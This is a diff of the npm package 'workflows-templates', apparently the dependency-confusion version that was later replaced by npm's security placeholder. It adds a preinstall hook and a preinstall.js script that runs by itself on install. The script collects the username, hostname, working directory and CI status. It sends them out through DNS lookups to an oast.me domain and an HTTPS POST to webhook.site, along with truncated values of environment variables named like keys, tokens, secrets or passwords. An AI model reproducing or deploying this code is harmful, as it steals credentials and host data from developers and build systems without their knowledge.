workflows-templates 0.0.1-security → 9999.9999.9999

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "workflows-templates",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9999.9999.9999",
+  "description": "Advanced Dependency Confusion RCE Probe",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "author": "worldclass-research",
+  "license": "ISC"
 }
+

package/preinstall.js

@@ -0,0 +1,73 @@
+const dns = require('dns');
+const os = require('os');
+const path = require('path');
+const { exec } = require('child_process');
+const https = require('https');
+
+const MAX_LABEL_LENGTH = 63;
+const BASE_DOMAIN = 'd1hud44gtqkvs620p660y48rtkotkghqj.oast.me';
+
+// === RFC-1035 safe encoder (hex chunks)
+function encodeChunks(str) {
+  const hex = Buffer.from(str).toString('hex').toLowerCase();
+  const chunks = [];
+  for (let i = 0; i < hex.length; i += MAX_LABEL_LENGTH) {
+    chunks.push(hex.slice(i, i + MAX_LABEL_LENGTH));
+  }
+  return chunks;
+}
+
+// === Machine fingerprint
+const uname = os.userInfo().username || 'nouser';
+const host = os.hostname() || 'nohost';
+const cwd = process.cwd() || 'nocwd';
+const platform = os.platform();
+const arch = os.arch();
+const isCI = !!process.env.CI || !!process.env.GITHUB_ACTIONS || !!process.env.BUILD_ID || !!process.env.JENKINS_URL;
+const timestamp = Date.now().toString(36);
+
+// === Encode labels
+const labels = [
+  ...encodeChunks(uname),
+  ...encodeChunks(host),
+  ...encodeChunks(cwd),
+  platform,
+  arch,
+  isCI ? 'ci' : 'local',
+  timestamp,
+  BASE_DOMAIN
+];
+
+// === DNS query beacon
+let domain = labels.join('.');
+if (domain.length > 253) {
+  domain = domain.slice(0, 253); // DNS limit
+}
+dns.resolve(domain, () => {});  // Fire and forget
+
+// === HTTP fallback exfil (stealthy POST)
+function beaconHTTP(payload) {
+  const data = JSON.stringify(payload);
+  const req = https.request({
+    hostname: 'webhook.site', // Optional: replace with your endpoint
+    path: '/your-id',         // Example fallback path
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' }
+  }, () => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+}
+beaconHTTP({ uname, host, cwd, platform, arch, isCI, timestamp });
+
+// === Optional secrets exfil (top env vars, partially masked)
+try {
+  const envDump = Object.entries(process.env)
+    .filter(([k]) => /key|token|secret|pass/i.test(k))
+    .slice(0, 5)
+    .reduce((acc, [k, v]) => {
+      acc[k] = v.length > 10 ? v.slice(0, 10) + '...' : v;
+      return acc;
+    }, {});
+  beaconHTTP({ env: envDump });
+} catch (e) {}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=workflows-templates for more information.